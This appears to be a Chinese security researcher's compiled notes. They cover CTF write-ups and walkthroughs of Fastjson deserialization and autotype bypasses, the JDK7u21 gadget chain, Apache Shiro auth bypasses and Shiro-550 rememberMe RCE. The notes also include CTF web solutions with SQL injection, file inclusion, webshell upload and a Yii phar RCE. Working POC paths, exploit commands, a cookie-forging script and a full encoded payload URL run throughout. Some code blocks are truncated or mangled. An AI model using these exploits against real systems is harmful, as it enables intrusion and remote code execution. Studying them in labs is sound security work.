然后继续getflag.php,system可以用,但是直接搞flag的都被ban了,这里我们想到了php
1 | <?php |

base64直接解?题目下线了,忘了
三部分txt
flag_1.txt
1 | GUZEQ3TTJVIWIQSFGVNGO5DHIVVWI=== |
flag_2.txt
1 | cipher:👉🦓🏎💵🕹🚪🎤🙃☂☀🌏🛩💵😇🚨🚪🎤👉🔪👣🐎✖☂🎤✉🔪😊🍎🚰🌪🚪🚹🍌🚰🎃🎤💧😎🥋🍎✖🎃👉🍵 |
base100解key,whhjno
emoji-aes带上密匙解密,https://aghorler.github.io/emoji-aes/
Rotation设置36,解得b52bff9568
flag_3.txt
base91解码后发现base64隐写
1 | # -*- coding: utf-8 -*- |
37f267472516
拼接添加flag{}即可
改成zip文件头,然后补png文件头
直接修改高度得到flag
out文件(010editor)直接放进AudacityPortable看频谱图
调一下大小,可以直接看到flag
1 | import base64 |
1 | import base64 |
凯撒密码
百度脚本直接出
1 | import gmpy2 |
Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。
Fastjson使用包含如下几个核心函数
1 | //序列化 |
pom.xml
1 | <dependency> |
User.java
建立一个用户类,实现Setter和getter方法
1 | package demo; |
Main.java
调用com.alibaba.fastjson.JSON将JSON文本解析为对象
1 | package demo; |

Fastjson提供特殊字符段@type,这个字段可以指定反序列化任意类,并且会自动调用类中属性的特定的set,get方法。
三种反序列化函数除了返回结果不同之外,在执行过程的调用函数上也有不同。
从上面的例子我们可以看出,在对json字符串进行反序列化的时候,会调用对应类的setter和getter方法,不同函数的调用规则如下:
toJSONString() 会调用目标类的所有getter方法
parse(“”) 会识别并调用目标类的特定 setter 方法及特定的 getter 方法
parseObject(“”) 会调用反序列化目标类的特定 setter 和 getter 方法
parseObject(“”,class) 会识别并调用目标类的特定 setter 方法及特定的 getter 方法
特定的setter方法要求如下:
特定的getter方法要求如下:
(我自己在测试的时候发现没有带@type标识符时,并不是按照这个规律,这里存疑)
因为这个特定的调用规则的原因,所以对于@type才不会调用其getter和setter方法。特定规则其实总结起来就是一般的setter方法以及一般的返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong的getter方法
下面这个例子
1 | package demo; |

Hashtable继承了Map,所以在反序列化的时候会调用getTable方法
JNDI注入利用链是最通用的方式,在以下三种情况都可以使用
1 | parse(jsonStr) |
jdk1.8.0_161
1 | package demo; |
起一个ldap服务
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#ExecTest |
ExecTest.java
1 | import java.io.IOException; |
编译后(编译使用的是jdk1.8.0_251,运行环境是在jdk1.8.0_161,这样测试也是可以jndi注入的)在8090端口起一个web服务

JdbcRowSetImpl把JNDI注入衍生到了
1 | import com.sun.rowset.JdbcRowSetImpl; |
那么只需要调用这两个set方法,这两个函数接口
1 | public void setDataSourceName(String var1) throws SQLException |
可以看到是满足特殊setter的条件的
需要以下格式
1 | JSON.parseObject(input, Object.class, Feature.SupportNonPublicField) |
这是因为POC中有一些private属性,而且TemplatesImpl类中没有相应的set方法,所以需要传入该参数让其支持非public属性,当然如果private属性存在相应set方法的话,FastJson会自动调用其set方法完成赋值,不需要Feature.SupportNonPublicField参数
JDK1.7_21
pom.xml
1 | <dependency> |
1 | package demo; |

Jdk7u21后面是调用到了TemplatesImpl.getOutputProperties(),函数原型
1 | public synchronized Properties getOutputProperties() { |
Properties继承自Hashtables,实现了Map,符合特殊getter的条件
Jdk7u21的TemplatesImple类需要满足如下条件
_name 变量 != null_class变量 == null_bytecodes 变量 != null_bytecodes是我们代码执行的类的字节码。_bytecodes中的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类_bytecodes 变量对应的类的静态方法或构造方法中。_tfactory需要是一个拥有getExternalExtensionsMap()方法的类,使用jdk自带的TransformerFactoryImpl类对比上面那个poc就会有以下几个问题
_tfactory为什么为空?
当赋值的值为一个空的Object对象时,会新建一个需要赋值的字段应有的格式的新对象实例,应有的格式即变量在源码中的定义
1 | /** |
_bytecodes需要base64编码?
FastJson提取byte[]数组字段值时会进行Base64解码
com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze

com.alibaba.fastjson.parser.JSONScanner#bytesValue

_outputProperties
FastJson对变量赋值的逻辑在parseField中实现
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField

key即为传入的属性名,经过了smartMatch处理
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch
会替换掉字段key中的_和-,所以删除POC里的_或者添加-都是可以的
在1.2.25版本之后,autotype功能受到了限制,autotype默认是关闭的,这时采用白名单判断反序列化的类名,可以手动添加白名单列表。手动开启autotype之后,使用黑名单方式来判断,同样黑名单也可以自定义。配置详情可以参考官网wiki:
https://github.com/alibaba/fastjson/wiki/enable_autotype
当autotype关闭的时候,这里以1.2.25版本为例

可以看到1.2.24版本再遇到@type标记的时候,会直接加载指定的类,1.2.25版本则会先进入checkAutoType函数进行判断
com.alibaba.fastjson.parser.ParserConfig#checkAutoType
1 | public Class<?> checkAutoType(String typeName, Class<?> expectClass) { |
当默认关闭autotype时,要求不匹配到黑名单,同时必须匹配到白名单的class才可以成功加载
看下默认的黑名单和白名单(白名单为空,最下面)

com.sun,上面两条路都被堵死了。因此,在后续的FastJson利用链中,攻防点主要在于开发者手动开启了autotype,对黑名单的绕过和加固。
需要手动开启autotype
1 | ParserConfig.getGlobalInstance().setAutoTypeSupport(true); |
pom.xml
1 | <dependencies> |
jdk1.8.0_161
1 | package demo; |
开启auto后checkAutoType的逻辑判断
com.alibaba.fastjson.parser.ParserConfig#checkAutoType
1 | public Class<?> checkAutoType(String typeName, Class<?> expectClass) { |
同样会先进行黑白名单检测,如果都不满足,开启autotype后会进入TypeUtils.loadClass尝试读取类,跟进loadClass逻辑

可以看到,当className以L开头并以;时,会直接去掉L和;,然后加载。这是由于历史原因,X.class.getName 方法在应用于数组类型时会返回奇怪的名字,这也是对特征的兼容。

那么我们可以在想要反序列化的类名加上L开头,;结尾,来绕过黑名单的检测。
添加[也可以,不过这是1.2.43版本的绕过方式了。
1.2.42版本checkAutoType逻辑和之前差不多,只是黑白名单判断这里采用hash去替代startwith。为了防范1.2.41版本的绕过,这里开头直接删除掉了L和结尾的;(如果类名存包含的话)
1 | public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { |
这里采用hash的方式去验证黑白名单,那么我们理论上可以遍历所有的jar包,计算出对应的类名,github上有一个项目已经完成了这个事情。
pom.xml
1 | <dependencies> |
jdk1.8.0_161
1 | package demo; |
上面提到了1.2.42版本checkAutoType函数会先去除掉开头的L和结尾的;,但是TypeUtils.loadClass处理逻辑依然会处理掉L和;,那么直接双写L和;就可以绕过
com.alibaba.fastjson.parser.ParserConfig#checkAutoType

双写可以绕过,直接检测是否以LL开头,简单粗暴
jdk1.8.0_161
1 | package demo; |
使用这个payload
1 | String poc="{\n" + |
提示逗号前需要[

又提示在加入的[后需要一个{,加上即可,这里涉及fastjson具体解析字符串的过程,就不再深入分析。

com.alibaba.fastjson.parser#checkAutoType
直接过滤掉[和;结尾的类

1.2.46~1.2.46版本主要是黑名单的添加,然后到1.2.47版本出现了通杀的payload
jdk1.8.0_161
我本地测试,开不开启autotype都是可以成功的
1 | package demo; |
从parseObject开始分析
com.alibaba.fastjson.parser#parseObject
1 | public final Object parseObject(Map object, Object fieldName) { |
第一层payload java.lang.Class不在黑名单内,比较特殊的是这个类类对应的deserializer为MiscCodec
com.alibaba.fastjson.serializer#deserialze
前面为格式检测,这里会检测@type后面一个键是否为val,然后将其值赋予strVal


这里clazz == Class.class满足,进入TypeUtils.loadClass,然后可以看到默认调用的话,第三个参数是为true的

com.alibaba.fastjson.util#loadClass
classLoader.loadClass加载com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类后放入缓存的mapping里面

当第二个@type解析时,我们跟一下checkAutoType的逻辑
1 | public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { |
当autoTypeSupport关闭的时候,直接clazz = TypeUtils.getClassFromMapping(typeName),从mapping里面获取类,当其开启的时候,白名单肯定不满足,但是黑名单判断的时候Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null要求满足符合黑名单并且不再mapping内才会抛出异常,所以也会进入clazz = TypeUtils.getClassFromMapping(typeName)逻辑,开不开启autype都是可以的
1.2.48版本直接设置MiscCode类deserialze方法的TypeUtils.loadClass的第三个参数为false

后面版本就基本上是开启autotype,和黑名单的对抗了
jdk1.8.0_161,版本需要小于jdk 191,ldap注入
pom.xml
1 | <dependency> |
1 | package demo; |
Exploit.java
1 | public class Exploit { |
com.zaxxer.hikari#setMetricRegistry

metricRegistry可控,getObjectOrPerformJndiLookup函数存在lookup绑定refference的操作,可以JNDI注入

expectClass绕过AutoType
1.2.61开始,黑名单从十进制变成了十六进制,1.2.62开始,黑名单从小写变成了大写
1.2.48-1.2.68黑名单绕过的有很多,这里不再赘述,文末链接有
在1.2.68之后的版本,在1.2.68版本中,fastjson增加了safeMode的支持。safeMode打开后,完全禁用autoType
服务端存在如下实现AutoCloseable接口类的恶意类
1 | package demo; |
1 | package demo; |
com.alibaba.fastjson.parser#checkAutoType
第一个类java.lang.AutoCloseable,直接从mapping中获取

然后回到 com.alibaba.fastjson.parser#parseObject,调用JavaBeanDeserializer的deserialze

这里主要逻辑就读取第二个@type对应的类名,这里找不到对应的deserializer,会二次进入checkAutoType函数

这里expectclass参数为java.lang.AutoCloseable

expectClass不为null,且不为下面几种class,expectClassFlag被设置为true

expectClassFlag为true,这里不受autotype影响,直接loadClass

最后会检测clazz是否为expectClass的子类或者实现了其接口,所以恶意类要求实现AutoCloseable接口

需要找实现AutoCloseable接口的类,IntputStream和OutputStream都是实现自AutoCloseable接口的,再找继承他们的类,同时需要调用其恶意的set或者get方法
实际利用有限,可以复制,写入文件。写入文件也有限制,不能写入特殊字符,比如不能写入PHP代码,POC可参考这里
影响版本:
测试环境:
pom.xml
1 | <dependency> |
需要添加javassist依赖
1 | LinkedHashSet.readObject() |
入口点是在LinkedHashSet的readObject,又因为继承了HashSet,即HashSet的readObject

关注map.put,PRESENT是一个空的object变量,跟进,大概逻辑为判断key的hash值是否和已有的相等,然后添加进value

注意key.equals(k),这里使用动态代理来拓展供给面,我们知道动态代理最终的调用是Handler的invoke函数实现的。这里使用的是AnnotationInvocationHandler这个动态代理handler,查看它的invoke实现

方法名为equal时最后调用equalsImpl,跟进

关注var8 = var5.invoke(var1)这个反射调用,跟进getMemberMethods

equalsImpl这个函数功能大概明了了,从this.type获取类声明的函数,然后循环执行,type在构造函数这里可控

这里用到了cc2的TemplatesImpl,详细可以参考 URLDNS&Commons Collections 1-7,这个类只有两个方法

newTransformer方法最后会从字节码实例化恶意类从而执行其静态代码块的恶意代码
如何构造满足条件的hash值?
那么怎么才能执行key.equals(k),回到map.put的实现

首先第一次调用map.put()时传入的参数e是我们封装了恶意代码的TemplatesImpl对象,另一个参数就是一个空的Object对象

继续put的实现,hash会调用对象本身的hashcode方法,indexFor方法则是会根据计算出的hashcode返回hash索引。第一次调用时table为空,那么就不会进入for循环。addEntry会将key添加进table,包含其hashcode还有hash索引。
那么考虑第二次调用的时候要进入for循环需要根据hashcode计算出的hash索引和第一次传入的TemplatesImpl对象相同。第二次传入的是AnnotationInvocationHandler对象,那么如何让这两个类型都不同的对象计算出的hashcode是相同的呢?
AnnotationInvocationHandler是动态代理的handler,调用其hashcode,最终调用hashCodeImpl
1 | private int hashCodeImpl() { |
var3遍历memberValues存储的键值对,然后var1为hashcode值,memberValues构造时可控

那么让memberValues的第一个键值对的值为封装了恶意代码的TemplatesImpl对象,然后关键就是
1 | var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue()) |
看第一次循环,memberValueHashCode(var3.getValue()的值即为封装了恶意代码的TemplatesImpl对象的hashcode,因为0和任何数异或的结果都是那个数,那么只需要((String)var3.getKey()).hashCode()即key的hashcode为0就可以保证循环结束后返回的hashcode值一直为装了恶意代码的TemplatesImpl对象的hashcode,这里f5a5a608字符串的hashcode为0
for循环过后
1 | if (e.hash == hash && ((k = e.key) == key || key.equals(k))) |
因为&&和||有短路效果,需要满足 e.hash == hash 和 (k = e.key) != key 才会执行 key.equals(k)
第二次put传入代理对象时,e.hash为封装了恶意代码的TemplatesImpl对象的hashcode,我们上面已经做了处理,代理对象返回的hashcode必然和 e.hash相等。同时此时k为代理对象,而 e.key 为TemplatesImpl对象,必然不相同
利用思路:
1 | package demo; |
在 jdk > 7u21 的版本,修复了这个漏洞,AnnotationInvocationHandler 的 readObject() 方法增加了异常抛出,导致反序列化失败

禁止序列化LinkedHashSet类

序列化父类HashSet即可,当然这里肯定有其他解法
HashSet和LinkedHashSet区别在于,LinkedHashSet里数据的下标和我们插入时的顺序一样,而HashSet不保证有序
https://www.zhihu.com/question/28414001
payload多打几次就可以了,实在不行交换proxy和templates的add顺序再多打几次
Jdk7u21 HashSet版本
1 | package demo; |
EvilTemplatesImpl.java
1 | package demo; |
基于此源码:https://github.com/l3yx/springboot-shiro
导入idea,application.properties添加
1 | server.servlet.context-path=/test |
因为pom.xml里排除了springboot内置的tomcat,新建Configurations->Tomcat Server,添加新的deployment,并设置context为/test,然后运行即可

Shiro验证
1 | anon 不需要验证,可以直接访问 |
Shiro的URL路径表达式为Ant格式
1 | /hello 只匹配url http://demo.com/hello |
这里需要在pom.xml里面修改shiro版本为1.5.1,而且spring-boot的版本记得改为:1.5.22.RELEASE,原因具体可以查看:
https://www.anquanke.com/post/id/240033#h3-5
同时因为版本问题,SrpingbootShiroApplication.java 里这个类名需要改成如下,然后启动tomcat即可
POC:
1 | /test/a;/../admin/page |
直接访问302

绕过

这里需要前置知识Tomcat URL解析差异性导致的安全问题,总结就是
Tomcat对请求路径中
/;xxx/以及/./的处理是包容的、对/../会进行跨目录拼接处理
调试tomcat逻辑需要在pom.xml里添加依赖
1 | <dependency> |
定位到1.5.2版本修改的文件 org\apache\shiro\web\util\WebUtils.java,里面getRequestUri函数调用的是request.getRequestURI处理,对于POC,此时uri和POC相同,即/test/a;/../admin/page

decodeAndCleanUriString函数则是对含有;的路径进行处理,直接忽略掉;和其之后的部分,对于POC,返回/test/a

normalize函数会对uri进行规范化处理,处理掉/./,/../,这里对POC没有什么影响
return完之后进入getPathWithinApplication函数,去除掉ContextPath,对于POC返回/a

然后进入Shiro匹配逻辑,取出config中定义规则,验证是否匹配,/a显然不满足/admin/*,不需要验证

Shiro验证绕过之后来到了Spring-boot解析,这个版本会调用tomcat的getServletPath,对/;xxx/以及/./有包容性,POC对于tomcat来说就相当于是/test/admin/page,于是能正常访问
总结漏洞产生的原因,Shiro调用request的getRequestURI获取到请求的地址之后,使用自身编写的逻辑去处理判断,没有考虑到tomcat解析兼容的差异性
diff 1.5.1 和 1.5.2 的代码,这里主要使用request.getServletPath来获取请求的路径,而其是tomcat内置,会考虑到对/;xxx/以及/./的包容性,那么对于POC,getServletPath返回/admin/page,自然通不过验证,即Shiro主动去兼容tomcat

第一种方式:
1 | /;/test/admin/page |

第二种方式:
为了复现第二种方式,需要添加一个controller
1 | ("/admin/{name}") |
POC
1 | /test/admin/w%25%32%66orld 或 /test/admin/w%252forld |
%25%32%66 和 %252f为/ 的二次url编码

https://xlab.tencent.com/cn/2020/06/30/xlab-20-002/
第一种绕过方式比较通用,这里以第一种进行分析。在上一个我们提到Shiro验证是再getChain函数,获取到请求路径后,和config中配置进行对比

获取请求路径是在getPathWithinApplication函数,getPathWithinApplication作用也说过,去掉请求中的ContextPath

关键就在于getRequestUri函数,normalize是规范化/./和/../

decodeAndCleanUriString先进行一次url解码,然后注意59是;的ascii码,这里遇到;的处理逻辑是,直接忽略;及以后,那么对于POC1,这里获取到的路径就是/,可以绕过Shiro验证

第二种方式主要是解码和匹配的问题,decodeAndCleanUriString还会进行一次url解码,%25%32%66会还原成/,/admin/w/orld不满足/admin/*(注意/admin/*只匹配一个路径,不匹配多个),所以绕过
getServletPath和getPathInfo使用request方法获取路径和信息,会处理掉;,..等,同时没有了二次解码


xq17师傅还提到如果getPathInfo可以引入;,那么也是可以继续绕过的,遗憾的是我在调试的时候一直没找到getServletPath在哪一段可以引入,希望知道的师傅可以指导一下
同时上个版本的修复又改回去了

Shiro 1.5.3版本
1 | <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-web</artifactId> <version>1.5.3</version> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-spring</artifactId> <version>1.5.3</version> </dependency> |
POC
1 | /test/admin/%3bStr3am |


修复过后的getPathWithinApplication函数中getServletPath调用request.getServletPath,会进行url二次解码,POC解码为/admin/%3bStr3am,removeSemicolon会对;进行处理。POC变为/admin/

然后这段是对Shiro-682的修复,会去掉最后的/,显然/admin不满足Shiro匹配/admin/*,所以造成bypass
在shiro 1.6.0版本中,针对/*这种ant风格的配置出现的问题,shiro在org.apache.shiro.spring.web.ShiroFilterFactoryBean.java中默认增加了/**的路径配置,以防止出现匹配不成功的情况。

而默认的/**配置对应了一个新增的类org.apache.shiro.web.filter.InvalidRequestFilter进行过滤,匹配到非法字符就会直接报错,可以看到,过滤了%3b


增加了对PathInfo的检验,修复过后,Shiro的URL校验是由ServletPath和PathInfo构成,之前CVE-2020-11989的时候提到过可以在PathInfo加入;或../绕过,Spring-boot默认PathInfo为空,但在其他情况可以,利用范围有限。
1 | <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.4.5</version> <relativePath/> <!-- lookup parent from repository --> </parent> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-web</artifactId> <version>1.6.0</version> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-spring</artifactId> <version>1.6.0</version> </dependency> |
通杀版本
1 | /test/admin/%20 |

springboot高版本
1 | /test/admin/%2e 或 /test/admin/%2e |

通杀版本的绕过,其原因和%3b差不多,都是Shiro规则匹配特殊字符缺陷的原因
而针对/test/admin/%2e,request.getServletPath处理后返回/test/admin/,同样因为Shiro-682原因,会去掉最后的/导致bypass

解决空格分离的问题

Shiro-682的修复改成了if/else判断
经过上文的分析,可以看到权限绕过基本就在于Shiro和Spring到tomcat解析URL差异性上,Shiro用自己的逻辑去判断请求的地址,但是忽略了tomcat解析包容性的问题。导致绕过Shiro判断,而Spring能够正常解析。
下载Shiro并切换到漏洞版本
1 | git clone https://github.com/apache/shiro.gitcd shirogit checkout shiro-root-1.2.4 |
pom.xml修改,添加
jstl是为了jsp正常运行,commons-collections4引入反序列化利用链
1 | <dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <!-- 这里需要将jstl设置为1.2 --> <version>1.2</version> <scope>runtime</scope></dependency> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version></dependency> |
idea导入shiro/samples/web,等待idea自动下载导入项目依赖的包
Edit Configurations 添加TomcatServer,并添加Deployment


然后调试运行即可

burp插件发现默认key

rememberMe cookie生成脚本
1 | import sysimport base64import uuidfrom random import Randomimport subprocessfrom Crypto.Cipher import AES key = "kPH+bIxk5D2deZiIxcaaaA=="mode = AES.MODE_CBCIV = uuid.uuid4().bytesencryptor = AES.new(base64.b64decode(key), mode, IV) payload=base64.b64decode(sys.argv[1])BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()payload=pad(payload) print(base64.b64encode(IV + encryptor.encrypt(payload))) |
yso payload生成
1 | java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "calc"|base64 -w0|sed ':label;N;s/\n//;b label' |
然后生成用上面脚本生成cookie
1 | py -3 encode.py <yso payload> |

也可以使用图形化工具,一键利用,https://github.com/feihong-cs/ShiroExploit-Deprecated

处理rememberme的cookie的类为org.apache.shiro.web.mgt.CookieRememberMeManager,它继承自org.apache.shiro.mgt.AbstractRememberMeManager,其中在AbstractRememberMeManager中定义了加密cookie所需要使用的密钥,可以看到密匙是直接硬编码写死的

成功登录时,会进入onSuccessfulLogin方法

当rememberMe设置为on时,最后会进入两个参数的rememberIdentity函数,accountPrincipals为用户权限类型

跟进convertPrincipalsToBytes,this.serialize调用原生序列化类序列化数据,序列化之后通过encrypt函数加密

encrypt调用cipherService.encrypt,最终返回bytes值

跟进cipherService.encrypt

调试可以发现这里使用AES加密,CBC模式,填充方式为PKCS5Padding

iv的值跟进generateInitializationVector,会发现是随机生成的16位字符

又进入一个encrypt函数,会进入第一个if逻辑,可以看到output是由16位iv加AES密文,最后返回Util.bytes(output)

然后回到rememberIdentity,bytes即由16位iv加AES密文构成
rememberSerializedIdentity为抽象类,在org.apache.shiro.web.mgt.CookieRememberMeManager实现,可以看到这里设置cookie为base64过后的bytes

org\apache\shiro\mgt\AbstractRememberMeManager.java中getRememberedPrincipals处理rememberMe

跟进getRememberedSerializedIdentity,base64解码rememberMe值

继续跟进convertBytesToPrincipals

deserialize调用默认的readObject方法

1 | git clone https://github.com/apache/shiro.git |
然后配置好idea的tomcat就可以了
详细复现和分析可以查看,https://yinwc.github.io/2021/06/01/shiro721漏洞复现/,iv需要爆破,时间比较久就没有复现了,懒 :P
大概原理及利用Padding Oracle Attack,针对AES中的CBC加密,修改AES解密后的值为想要的内容,就可以反序列化进入garget
报错注入,盲猜flag表,但不知道名称,用重复column名爆列名
参考:无列名注入小记
1 | uname=%27)/**/||/**/(select/**/1/**/from/**/flag/**/where(select/**/*/**/from(select/**/*/**/from/**/flag/**/as a/**/join/**/flag/**/as/**/b/**/using(id,no))as/**/c))/**/or/**/('1&passwd=1&Submit=%E7%99%BB%E5%BD%95 |

1 | uname=%27)/**/and/**/extractvalue(1,concat(0x7e,(select/**/substr(`e691d77e-5da1-409b-a37b-ff4edfa14123`,31)/**/from/**/flag),0x7e))/**/and/**/('0&passwd=1&Submit=%E7%99%BB%E5%BD%95 |
读出flag CISCN{9fO5F-WC2YL-GY3zM-R4aIu-kAjxU-}
原题:https://r0yanx.com/2020/10/28/fslh-writeup/
扫出来一个phpinfo 页面

根据phpinfo ,猜测可能是 session 包含,因此启动两个线程,一个包含 php 内容,一个访问包含,就 var_dump /etc 了好几次有点难受
session_upload_process
1 | POST /index.php HTTP/1.1 |
1 | POST /index.php HTTP/1.1 |
两个包放在repeater 里面 30 线程跑,不断看结果,改目录。
最后目录在/etc/fhfeeeaagb/badidicfgc/eabdhbdgeb/babgfddbff/fbhbiaihha/fl444444g直接包含
CISCN{lxs4A5ku06-ywSkx-iasCN-9AMPN-}
index.php
1 |
|
getimagesize判断是否图片,要求图片宽和高为1,同时要求后缀不能有c、i、h、ph,那么上传php和.htaccess就不行了
example.php
1 |
|
从压缩包解压,并对图片重新裁剪
这里有一个trick,mb_strtolower处理某些unicode字符时会有问题
1 | var_dump(mb_strtolower('İ')==='i'); |
这里stristr判断黑名单后又用mb_strtolower处理,且有二次urldecode,那么思路就很明显了,上传zip压缩包文件,然后解压getshell
常规图片马都是在末尾添加php代码,但是这里解压过后会对图片进行裁剪,导致php代码丢失,所以这里采用写入到图片数据里,即IDAT块
用这个工具生成图片马
https://github.com/huntergregal/PNG-IDAT-Payload-Generator/
更改后缀为php,然后打包进zip压缩包
这里又有一个trick,可以用下面内容绕过getimagesize
1 |
百度了一下大概是xmb图片定义宽高的方法,可以在文件任何位置,但是必须在一行的开头(即前面必须有%0d%0a)

成功上传

解压

访问getshell
同时这里记录一个坑点,我之前调试的时候使用的是2020.1版本的burpsuite,但是上传文件之后总发现文件内容被更改了,后来才发现paste from file的时候burp把一些十六进制字符比如8D直接就转换成了3F,emmm……后来换成最新版burp就没问题了,还是应该及时更新
首先搭建一个yii环境
1 | composer create-project --prefer-dist yiisoft/yii2-app-basic my-yii |
加上提示配置
1 | 'log' => [ |
发现 /runtime/logs/app.log日志文件,和Laravel的差不多
题目附件里改动就这一个路由,读取文件再写入,那么整体思路应该和Laravel Debug RCE差不多,清空log文件,写入phar,然后再phar反序列化

可以参考:https://www.anquanke.com/post/id/231459
composer.json存在拓展monolog,phpggc刚好在版本范围内

生成payload
1 | ./phpggc monolog/rce2 phpinfo 1 --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt |
清空日志文件
1 | http://dd60ec6c-4197-4c9b-8dd0-8651a607fa70.node3.buuoj.cn/?file=php://filter/read=consumed/resource=../runtime/logs/app.log |
写入payload,注意最后面有一个a(这是为了能完整地将payload解码出来)
1 | http://dd60ec6c-4197-4c9b-8dd0-8651a607fa70.node3.buuoj.cn/?file==50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=71=00=36=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=6A=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=46=00=4E=00=35=00=63=00=32=00=78=00=76=00=5A=00=31=00=56=00=6B=00=63=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4E=00=6A=00=6F=00=69=00=63=00=32=00=39=00=6A=00=61=00=32=00=56=00=30=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=49=00=35=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=35=00=76=00=62=00=47=00=39=00=6E=00=58=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=4A=00=63=00=51=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=53=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=36=00=4E=00=7A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=79=00=4F=00=54=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=45=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=63=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=55=00=32=00=6C=00=36=00=5A=00=53=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=6B=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=69=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=78=00=4F=00=69=00=49=00=78=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=55=00=36=00=49=00=6D=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=31=00=39=00=63=00=7A=00=6F=00=34=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=70=00=62=00=6D=00=6C=00=30=00=61=00=57=00=46=00=73=00=61=00=58=00=70=00=6C=00=5A=00=43=00=49=00=37=00=59=00=6A=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=78=00=70=00=62=00=57=00=6C=00=30=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=42=00=79=00=62=00=32=00=4E=00=6C=00=63=00=33=00=4E=00=76=00=63=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=33=00=56=00=79=00=63=00=6D=00=56=00=75=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=49=00=37=00=66=00=58=00=31=00=7A